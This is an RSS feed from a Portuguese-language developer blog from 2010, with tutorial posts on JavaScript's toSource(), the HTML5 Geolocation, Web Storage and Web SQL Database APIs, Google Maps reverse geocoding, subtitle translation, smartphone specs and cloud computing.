<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; Marcos</title>
	<atom:link href="http://marcos.blog.br/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Método toSource() do JavaScript</title>
		<link>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/</link>
		<comments>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:15:50 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dev Dicas]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=290</guid>
		<description><![CDATA[O Método toSource() do Javascript é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em mostrar como String todos os argumentos de um objeto. Para usar, basta chamar o método toSource() em um objeto: alert(objeto.toSource()) E você verá todos os argumentos da instância &#8220;objeto&#]]></description>
			<content:encoded><![CDATA[<p>O <strong>Método toSource()</strong> do <strong>Javascript</strong> é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em <strong>mostrar como String todos os argumentos de um objeto</strong>.</p>
<p>Para usar, basta chamar o método toSource() em um objeto:</p>
<pre class="brush:javascript">
alert(objeto.toSource())
</pre>
<p>E você verá todos os argumentos da instância &#8220;objeto&#8221;.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Localização do Usuário com a API Geolocation do HTML5</title>
		<link>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 00:01:10 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Geolocation]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=262</guid>
		<description><![CDATA[Sempre existiu diversas formas de saber a localização física do usuário através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis. Com a API Geolocation que está vindo com HTML5, saber a localização de quem visita seu site se tornou bem ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" rel="lightbox[262]" title="geolocation"><img class="alignleft size-full wp-image-268" title="geolocation" src="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" alt="" width="226" height="210" /></a>Sempre existiu diversas formas de saber a <strong>localização física do usuário</strong> através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis.</p>
<p>Com a <strong><a  href="http://www.w3.org/TR/geolocation-API/" target="_blank">API Geolocation</a></strong> que está vindo com <strong>HTML5</strong>, saber a <strong>localização de quem visita seu site se tornou bem simples</strong>. As aplicações para esta API são inúmeras e a qualidade do serviços prestados por sites podem melhorar significativamente com esta facilidade, e o melhor, <strong>de forma gratuita</strong>.</p>
<p>Lembrando que nem todos os navegadores novos suportam esta API. Fiz testes no Google Chrome 5.0.375.99, Firefox 3.6.6 e no Opera 10.60 (todos na versão Linux, claro). Li por aí que o Internet Explorer 8 tem uma implementação de teste. Então se alguém testar no IE, favor deixar nos comentários informações sobre seu suporte.</p>
<p>A <strong>API Geolocation prevê a captura da posição geográfica</strong>, ou seja,<strong> latitude e longitude</strong>. E isso já resolve tudo. Com as coordenadas geográficas é <strong>possível integrar com outras ferramentas</strong> e obter o <strong>logradouro</strong> e até mesmo integrando com o Google Maps <strong>gerar um mapa com a localização do usuário</strong>.</p>
<blockquote><p>Lembrando: Se você tem dúvida se o seu navegador suporta esta API, use o site <a  href="http://html5test.com/" target="_blank">html5teste.com</a> e procure por <strong>Geolocation</strong>.</p></blockquote>
<p><br/></p>
<h2>Segurança</h2>
<p>Se você está preocupado com a segurança e não quer que determinados sites saibam sua localização, a documentação da API prevê<strong> autorização prévia do usuário</strong> para o compartilhamento dessa informação com o site em que você está navegando.</p>
<p>Ao acessar um site que deseja utilizar sua localização para agregar algum serviço, provavelmente você verá a mensagem abaixo (Opera):</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" rel="lightbox[262]" title="geo-location-autorizacao"><img class="alignleft size-full wp-image-264" title="geo-location-autorizacao" src="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" alt="" width="490" height="22" /></a><br/><br/></p>
<p>Muito mais justo do que qualquer site saber a sua localização sem o seu consentimento.<br />
<br/></p>
<h2>Exemplo Simples: Obtendo as Coordenadas Geográficas</h2>
<p>Para entender o funcionamento da <strong>API </strong>vamos a um <strong>simples exemplo para obter as Coordenadas Geográficas</strong>:</p>
<pre class="brush:javascript">
// verifica o suporte do navegador a API Geolocation
if(navigator.geolocation){
	// Obtem a posição atual
	navigator.geolocation.getCurrentPosition(

	// Em caso de sucesso, obtem a latitude e a longitude
	function(position){
		var lat = position.coords.latitude;
		var lon = position.coords.longitude;
		alert('Latitude:' + lat + ', Longitude: ' + lon);
	},
	// Caso ocorra algum erro (Ex.: O usuário não autorizar o compartilhamento da localização)
	function(error){
		alert('Erro ao capturar localização geográfica.');
	});
}
// Caso o navegador não tenha suporte
else{
	alert('Seu navegador não tem suporte a API Geolocation.');
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-lat-lon.html" target="_blank"><strong>Clique aqui para ver o exemplo funcionando.</strong></a></p>
<p>Agora que temos as Coordenadas Geográficas, o que fazer com esses números?</p>
<p>Podemos simplesmente saber em qual cidade se localiza essas coordenadas:<br />
<br/></p>
<h2>Obtendo o Endereço Através das Coordenadas</h2>
<p>Existem algumas maneiras de se <strong>obter o endereço através de coordenadas</strong>. Este processo é chamado de “<a  href="http://en.wikipedia.org/wiki/Reverse_geocoding" target="_blank"><strong>reverse geo-coding</strong></a>”. Como no Brasil nós não temos um web service que faz esse trabalho a exemplo do <a  href="http://www.geonames.org" target="_blank">geoNames.org</a> que possui os endereços dos EUA, nós temos que arrumar outra solução.</p>
<p>Então vamos criar uma solução <strong>utilizando a API do Google Maps</strong>. De acordo com os <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">Termos e Utilização da API do Google Maps</a>, você somente pode usar essas informações para exibi-las em um mapa. Qualquer outra forma de exibição é proibida. Porém, existe um meio de extrair essas informações sem imprimi-las em um mapa e que será demonstrado. Lembrando que o código a seguir é apenas um estudo de caso e não pode ser utilizado por ir contra os Termos de Utilização da API do Google Maps.</p>
<p>Para começar, vamos precisar chamar a API do Google Maps e para isso antes temos que <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">gerar uma Chave</a> para autenticação de acordo com o domínio que você for utilizar:<br />
<br/></p>
<pre>
&lt;script type=&quot;text/javascript&quot; src=http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=sua-chave&quot;&gt;&lt;/script&gt;
</pre>
<p><br/><br />
Para conseguir <strong>obter os dados de endereçamento</strong>, vamos utilizar um método chamado <a  href="http://code.google.com/intl/pt-BR/apis/maps/documentation/javascript/v2/reference.html#GClientGeocoder" target="_blank"><strong>GClientGeocoder</strong></a>. Originalmente, este método serve para gerar um endereço que será marcado em um mapa (como no último exemplo deste artigo). Mas não vamos trabalhar com mapas ainda. O código a seguir é capaz de pegar informações separadamente, como na imagem abaixo.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" rel="lightbox[262]" title="Captura_de_tela"><img class="size-full wp-image-270 alignnone" title="Captura_de_tela" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" alt="" width="455" height="120" /></a></p>
<p>Vamos aproveitar o primeiro exemplo para <strong>obter a Latitude e a Longitude da sua localização e depois pegar os dados do endereço</strong>. Veja o código a seguir:</p>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o GeoCoder
			var geocoder = new GClientGeocoder();
			// Informamos a localização e chamamos uma função no retorno da solicitação
			geocoder.getLocations("("+lat+','+lon+")",localizacao);
			//alert(geocoder);

			function localizacao(retorno){
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					// Placemark é o objeto que contém as infos do endereço
					// Veja no exemplo as informações que contém no Placemark
					endereco = retorno.Placemark[0];
					alert(endereco.address);
				}
			}
		}
	);
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-endereco.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Até aqui já obtivemos as <strong>Coordenadas Geográficas</strong>, já conseguimos as <strong>Informações de Endereço</strong> e agora vamos mostrar no Mapa a localização do usuário.<br />
<br/></p>
<h2>Exibindo a Localização no Mapa com Google Maps</h2>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" rel="lightbox[262]" title="Captura_de_tela-1"><img class="alignnone size-full wp-image-271" title="Captura_de_tela-1" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" alt="" width="281" height="284" /></a></p>
<p>Para exibir no mapa, vamos continuar utilizando a <strong>API do Google Maps</strong> modificando o exemplo acima. Veja como fica:</p>
<pre>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o Mapa
			map = new GMap2(document.getElementById("mapa"));
			// Centralizando na localização
			map.setCenter(new GLatLng(lat,lon), 15);
			// Iniciando o GeoCoder para fazer o Reverter
			geocoder = new GClientGeocoder();
			// Marcando a localização no Mapa
			geocoder.getLocations('('+lat+','+lon+')', exibeEnd);

			// Personalizando a marcação
			function exibeEnd(retorno){
				map.clearOverlays();
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					place = retorno.Placemark[0];
					point = new GLatLng(place.Point.coordinates[1], place.Point.coordinates[0]);
					marker = new GMarker(point);
					map.addOverlay(marker);
					marker.openInfoWindowHtml(
					'<b>Coordenadas:</b> ' + place.Point.coordinates[1] + "," + place.Point.coordinates[0] + '<br/>' +
					'<b>Logradouro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.Thoroughfare.ThoroughfareName+ '' +
					'<b>Bairro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.DependentLocalityName + '<br/>' +
					'<b>Cidade:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.LocalityName + '<br/>' +
					'<b>País:</b> ' + place.AddressDetails.Country.CountryNameCode);
				}
			}
		}
	);
}
</pre>
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-mapa.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Nenhum exemplo desse blog <span style="text-decoration: underline;"><strong>armazena informações do usuário</strong></span> e serve apenas para demonstrar o funcionamento da <strong>API Geolocation</strong>.<br />
<br/></p>
<h2>Conclusão</h2>
<p>A <strong>API Geolocation</strong> realmente<strong> abre um leque de possibilidades</strong> e o que podemos esperar são <strong>aplicações cada vez mais ricas e interativas</strong>, que possam oferecer <strong>serviços de acordo com a localização do usuário</strong>, assim como já fazem alguns aplicativos para dispositivos móveis, ou simplesmente uma empresa poderá exibir em sua <strong>página de contato um &#8220;como chegar&#8221; a partir da sua localização</strong>. Isso pode ser facilmente implementado com poucas modificações no código do artigo &#8220;<a  href="http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/" target="_self"><strong>Traçando Rota com o Google Maps</strong></a>&#8221; publicando neste Blog.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Usando a API &#8220;Web SQL Database&#8221; do HTML 5</title>
		<link>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 03:16:57 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[WebApp]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Web SQL Database]]></category>
		<category><![CDATA[Web Storage]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=245</guid>
		<description><![CDATA[Como vimos no artigo anterior, uma das novidades do HTML 5 é o Web SQL Database, que permite utilizar SQL para armazenar dados no lado do cliente através do SQLite. Vamos ver o seu funcionamento passo-a-passo a seguir: Abrindo uma Conexão var db = openDatabase('CONTATOS', '0.1', 'Lista de contatos', 200000); O código acima cria um ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/" target="_self">Como vimos no artigo anterior</a>, uma das novidades do HTML 5 é o <strong>Web SQL Database</strong>, que permite utilizar <strong>SQL para armazenar dados no lado do cliente através do SQLite</strong>. Vamos ver o seu funcionamento passo-a-passo a seguir:<br />
<br/></p>
<h2>Abrindo uma Conexão</h2>
<pre class="brush:javascript">
var db = openDatabase('CONTATOS', '0.1', 'Lista de contatos', 200000);
</pre>
<p>O código acima cria um <strong>objeto de banco de dados &#8220;db&#8221;</strong> com 4 argumentos:</p>
<p>1. Nome do banco de dados;<br />
2. Versão;<br />
3. Descrição;<br />
4. Tamanho estimado da base de dados.</p>
<p><strong>Não se preocupe com o tamanho da base de dados pois ela é flexível</strong>. Aparentemente ao exceder o tamanho o navegador mostrará ao usuário uma janela pedindo autorização para expandir o espaço.</p>
<p>Para testar se a conexão foi criada com sucesso, basta verificar se &#8220;db&#8221; é nulo:</p>
<pre class="brush:javascript">

if (! db) alert (&quot;Falha ao conectar no banco de dados.&quot;);
</pre>
<p><strong>É muito importante fazer este teste de conexão</strong> antes de qualquer outro código pois existem várias razões pela qual o navegador poderá negar acesso ao banco, como por exemplo por questões de segurança e espaço.<br />
<br/></p>
<h2>Criando uma Tabela</h2>
<pre class="brush:javascript">

db.transaction(function (tx) {
        tx.executeSql('CREATE TABLE IF NOT EXISTS contatos (id INTEGER PRIMARY  KEY AUTOINCREMENT, nome VARCHAR, tel INTEGER)');
});
</pre>
<p><em>(Para  saber os <strong>Datatypes do SQLite</strong> visite a página <a  href="http://www.sqlite.org/datatype3.html" target="_blank">Datatypes In SQLite Version 3</a>.)</em><br />
<br/></p>
<h2>Executando Consultas</h2>
<p>O bacana desta API é que ela<strong> trata as operações como transações</strong>. Com transações é possível <strong>reverter as operações em caso de erro</strong>. <strong>Cada transação pode conter várias SQL</strong> e caso alguma apresente falha, nada é alterado no banco, preservando sua consistência.</p>
<p>Há também <strong><em>erro</em></strong> e <em><strong>callbacks</strong> de sucesso</em> na transação, assim você pode gerenciar os erros, mas é importante entender que as operações têm a capacidade de reverter as mudanças.</p>
<p><strong>Transação é uma simples função que contém os códigos SQL</strong>:</p>
<pre class="brush:javascript">

db.transaction(function (tx) {
        // Aqui acontece a mágina com a SQL utilizando o objeto &quot;tx&quot; que foi passado por parâmetro
});
</pre>
<p>Para ficar mais claro, vamos a alguns exemplos:<br />
<br/></p>
<h2>Inserindo um Registro</h2>
<pre class="brush:javascript">

db.transaction(function(tx) {
        tx.executeSql('INSERT INTO contatos (nome, tel) VALUES (?,?)', ['Marcos', '2222-3333'], null, function(tx, e) {
                // caso ocorra algum erro
                alert(e.message);
        });
});
</pre>
<p><br/></p>
<h2>Lendo os Registros</h2>
<pre class="brush:javascript">

// busca os contatos do banco
db.transaction(function (tx) {
        tx.executeSql('SELECT * FROM contatos', [], function (tx, resultado) {
                for (i = 0; i &amp;amp;lt; resultado.rows.length; i++)
                        alert(resultado.rows.item(i)['nome']);
        });
});
</pre>
<p><br/></p>
<h2>Exemplo Funcional</h2>
<p><strong>Atenção, verifique se o seu navegador tem suporte a Web SQL Database antes de clicar no exemplo.</strong></p>
<p><strong><a  href="http://marcos.blog.br/exemplos/web-sql-storage/exemplo-html5-web-sql-storage.html" target="_blank">Simples Exemplo de uso do HTML Web SQL Storage.</a></strong></p>
<p><strong>Gostou? Deixe um comentário!</strong></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML 5, Web Storage e Web SQL Database</title>
		<link>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/</link>
		<comments>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 23:36:26 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[WebApp]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Web SQL Database]]></category>
		<category><![CDATA[Web Storage]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=187</guid>
		<description><![CDATA[Ouvimos e lemos todos os dias sobre as funcionalidades do HTML5 e suas benfeitorias para um design mais interativo e eficiente, porém existe uma novidade que ainda foi pouco comentada não diz respeito a layout especificamente. Web Storage O Web Storage (ou DOM Storage) é uma API que permite gravar dados no lado do cliente. ]]></description>
			<content:encoded><![CDATA[<p>Ouvimos e lemos todos os dias sobre as funcionalidades do<strong> HTML5</strong> e suas benfeitorias para um design mais interativo e eficiente, porém existe uma novidade que ainda foi pouco comentada não diz respeito a layout especificamente.</p>
<h2>Web Storage</h2>
<p>O <strong><a  href="http://dev.w3.org/html5/webstorage/" target="_blank">Web Storage</a></strong> (ou <strong>DOM Storage</strong>) é uma API que permite gravar dados no lado do cliente. Provavelmente no futuro ela será responsável pela extinção do Cookie.</p>
<p>Suas vantagens são grandes em relação ao Cookie, a começar pela <strong>capacidade de armazenamento de dados</strong>, que varia de navegador para navegador mas mantém uma média de 5mb por domínio, outra vantagem é que ao contrário do cookie ele <strong>não tem data para expirar</strong>, isso acontece somente por questões de espaço e falha de segurança. Um detalhe interessante, é que os dados não são transitados a cada requisição de página com o servidor, como faz o cookie.</p>
<p>Para quem quiser testar a API Web Storage:</p>
<p>Para definir uma variável:</p>
<pre class="brush:javascript">

sessionStorage.setItem('chave','valor');
</pre>
<p>e para resgata-la:</p>
<pre class="brush:javascript">

sessionStorage.getItem('chave');
</pre>
<p>No entanto, o <strong>Web Storage</strong> continua sendo uma forma simples de armazenamento de dados chave/valor, o que não resolve o problema de aplicações que desejam funcionar de maneira <strong>Offline</strong> como farí­amos com o <strong>extinto Google Gears</strong>.</p>
<h2>Web SQL Database</h2>
<p>Para um armazenamento <strong>mais elaborado e de forma estruturada</strong>, o W3C criou <a  href="http://dev.w3.org/html5/webdatabase" target="_blank"><strong>Web SQL Database</strong>.</a> Este é o cara que faz a revolução no armazenamento de dados no lado do cliente.</p>
<p>Como parte do <strong>HTML 5</strong>, o <strong>W3C</strong> está trabalhando em um rascunho do <strong>Web SQL Database  API</strong>, uma especificação que abrange armazenar e acessar dados através de <strong>SQL</strong>. A especificação da linguagem SQL que é descrito na documentação é o de SQLite 3.6.19.</p>
<p>Esta API permite que as páginas da web interajam com um banco de dados incorporado no cliente, o que é útil para aplicações que desejam <strong>armazenar dados localmente ou para navegação offline</strong>.</p>
<p>Infelizmente nem todas as versões novas de navegadores implementaram esta API:</p>
<ul>
<li>Internet Explorer 8.0 –<span style="color: #993300;">Não Suporta</span></li>
<li>Firefox 3.6.3 –<span style="color: #993300;">Não Suport</span><span style="color: #993300;">a</span></li>
<li>Chrome 5.0 – <span style="color: #0000ff;">Suporta</span> (acho que desde a versão 4)</li>
<li>Safari 5.0 –<span style="color: #0000ff;">Suporta</span></li>
</ul>
<p>Por ser um pouco maior, (<span style="text-decoration: line-through;">vou colocar</span>) coloquei o <a  href="http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/" target="_self">exemplo de utilização desta API no próximo artigo</a>.</p>
<p>Queria saber a opinião das pessoas que leem este blog se tem ideias ou projetos em mente para utilização de recursos offline.<br />
Então comente abaixo!</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tradução de Legendas SRT utilizando o Google Translator Toolkit</title>
		<link>http://marcos.blog.br/2010/07/traducao-de-legendas-srt-utilizando-o-google-translator-toolkit/</link>
		<comments>http://marcos.blog.br/2010/07/traducao-de-legendas-srt-utilizando-o-google-translator-toolkit/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 22:22:21 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Geral]]></category>
		<category><![CDATA[Filmes]]></category>
		<category><![CDATA[Legendas]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=227</guid>
		<description><![CDATA[Pouca gente sabe, mas é possível traduzir arquivos inteiros de legendas (de filmes, documentários, séries, etc.) através do Google Translator Toolkit. Além de arquivos .srt, também é possível traduzir outros arquivos como: html, doc, odt, txt, rtf e sub. Infelizmente o limite para upload de arquivo é de apenas 1 mb. Mas para legendas .srt ]]></description>
			<content:encoded><![CDATA[<p>Pouca gente sabe, mas é possível <strong>traduzir arquivos inteiros de legendas</strong> (de filmes, documentários, séries, etc.) através do<strong> Google Translator Toolkit</strong>.</p>
<p>Além de arquivos <strong>.srt</strong>, também é possível traduzir outros arquivos como: <strong>html, doc, odt, txt, rtf e sub</strong>. Infelizmente o limite para upload de arquivo é de apenas 1 mb. Mas para legendas .srt isso é mais do que suficiente.</p>
<p>O mais bacana é que <strong>após o upload do arquivo ele divide a tela em duas partes e você pode fazer os ajustes da tradução</strong>.</p>
<p><strong><span style="color: #ff0000;">Lembrando</span></strong>: Antes de fazer o download da legenda, é preciso marcar como concluída! clicando em: <strong>Editar -&gt; Tradução Concluída</strong>. <span style="text-decoration: underline;">Se você não fizer isso, o arquivo baixado não vai vir completo</span>.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-5.png" rel="lightbox[227]" title="google-translator-toolkit"><img class="alignleft size-medium wp-image-228" title="google-translator-toolkit" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-5-300x152.png" alt="google-translator-toolkit" width="300" height="152" /></a></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/traducao-de-legendas-srt-utilizando-o-google-translator-toolkit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comparação entre as Especificações dos Últimos SmartPhones e iPad</title>
		<link>http://marcos.blog.br/2010/06/comparacao-entre-as-especificacoes-dos-ultimos-smartphones-e-ipad/</link>
		<comments>http://marcos.blog.br/2010/06/comparacao-entre-as-especificacoes-dos-ultimos-smartphones-e-ipad/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 17:26:30 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Celular]]></category>
		<category><![CDATA[Dicas]]></category>
		<category><![CDATA[celular]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=215</guid>
		<description><![CDATA[Navegando pela Life Hacker encontrei uma tabela que compara as especificações do Samsung Galax S, Evo 4G, iPhone 4, iPad, Droid X, Motorola Droid, Droid Incredible e Nexus One. Se você está pensando em trocar de aparelho, esta é a hora de fazer a escolha certa: (clique para ampliar)]]></description>
			<content:encoded><![CDATA[<p>Navegando pela Life Hacker encontrei uma tabela que compara as especificações do <strong>Samsung Galax S,</strong> E<strong>vo 4G</strong>, <strong>iPhone 4</strong>, <strong>iPad</strong>, <strong>Droid X</strong>, <strong>Motorola Droid</strong>, <strong>Droid Incredible</strong> e <strong>Nexus One</strong>.</p>
<p>Se você está pensando em trocar de aparelho, esta é a hora de fazer a escolha certa:</p>
<p><em>(clique para ampliar)</em></p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/06/smartphone_stats3.jpg" rel="lightbox[215]" title="smartphone_stats"><img class="alignleft size-medium wp-image-219" title="smartphone_stats" src="http://marcos.blog.br/wp-content/uploads/2010/06/smartphone_stats3-187x300.jpg" alt="Especificações de Smartphone" width="187" height="300" /></a></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/06/comparacao-entre-as-especificacoes-dos-ultimos-smartphones-e-ipad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cloud Computing e o Novo Modelo de Software</title>
		<link>http://marcos.blog.br/2010/06/cloud-computing-e-o-novo-modelo-de-software/</link>
		<comments>http://marcos.blog.br/2010/06/cloud-computing-e-o-novo-modelo-de-software/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 16:36:29 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[Computação em Nuvens]]></category>
		<category><![CDATA[WebApp]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=189</guid>
		<description><![CDATA[O Cloud Computing (ou Computação em Nuvens), está criando uma nova e promissora fase da internet. Não apenas para a internet, mas para a nova geração de softwares como conhecemos. O aumento da qualidade e da velocidade da internet tem mudado a vida de milhões e pessoas, ao mesmo tempo que os custos de armazenamento, ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/06/cloud-computing1.jpg" rel="lightbox[189]" title="computação em nuvens"><img class="alignleft size-thumbnail wp-image-198" title="computação em nuvens" src="http://marcos.blog.br/wp-content/uploads/2010/06/cloud-computing1-150x150.jpg" alt="" width="150" height="150" /></a>O <strong><a  href="http://pt.wikipedia.org/wiki/Computa%C3%A7%C3%A3o_em_nuvem" target="_blank">Cloud Computing</a></strong> (ou <strong>Computação em Nuvens</strong>), está criando uma nova e promissora fase da internet. Não apenas para a internet, mas para a <strong>nova geração de softwares</strong> como conhecemos. O aumento da qualidade e da velocidade da internet tem mudado a vida de milhões e pessoas, ao mesmo tempo que os custos de armazenamento, processamento e largura de banda tem caído de preço formam o principal aspecto que permitiu o surgimento de novos conceitos de software.</p>
<p>A Web se tornou o nosso album de fotos, nossa loja de livros, nossa enciclopédia, nosso agênte de viagens e hoje cobre a maior parte das coisas feitas offline. A tendência agora é que as<strong> corporações passem a utilizar a web como plataforma</strong> e passe a focar seus esforços apenas em seus negócios. As empresas começam a pensar fora de seus firewalls corporativos.</p>
<p>Os benefícios da computação em nuvens são indiscutíveis. Software nas nuvens <strong>tornam aplicativos mais democráticos</strong>. Com a redução de custos de infra-estrutura, necessidade de altos investimentos, suporte, manutenção, e é claro, o valor de desenvolvimento e atualização de softwares para gerir os negócios, a virtualização de aplicativos faz com que empresas de pequeno porte tenham acesso a tecnologias antes restrita a grandes corporações. Há quem compare este novo modelo de software a propagação barata da energia elétrica.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/06/article5-cloud-computing-diagram.jpg" rel="lightbox[189]" title="diagrama de cloud computing"><img class="aligncenter size-medium wp-image-202" title="diagrama de cloud computing" src="http://marcos.blog.br/wp-content/uploads/2010/06/article5-cloud-computing-diagram-300x175.jpg" alt="" width="300" height="175" /></a></p>
<p>Uma aplicação nas nuvens não permite apenas interligar escritórios distantes fisicamente. Para considerar a Internet como meio de transmissão ponto-a-ponto é, certamente, perder a oportunidade de uma rede multi-direcional e complexa de nós conectados de várias maneiras. <strong>A Web deixou de ser apenas um corredor para bits e bytes</strong>. Os dados não precisam mais residir em uma única aplicação. Numa era de integração e tendência de &#8216;<em>widget</em>&#8216;, &#8216;<em>dashboards</em>&#8216; e &#8216;<em>API</em>&#8216; a interação com a aplicação não está mais restrita para a navegação dentro da própria interface do usuário.</p>
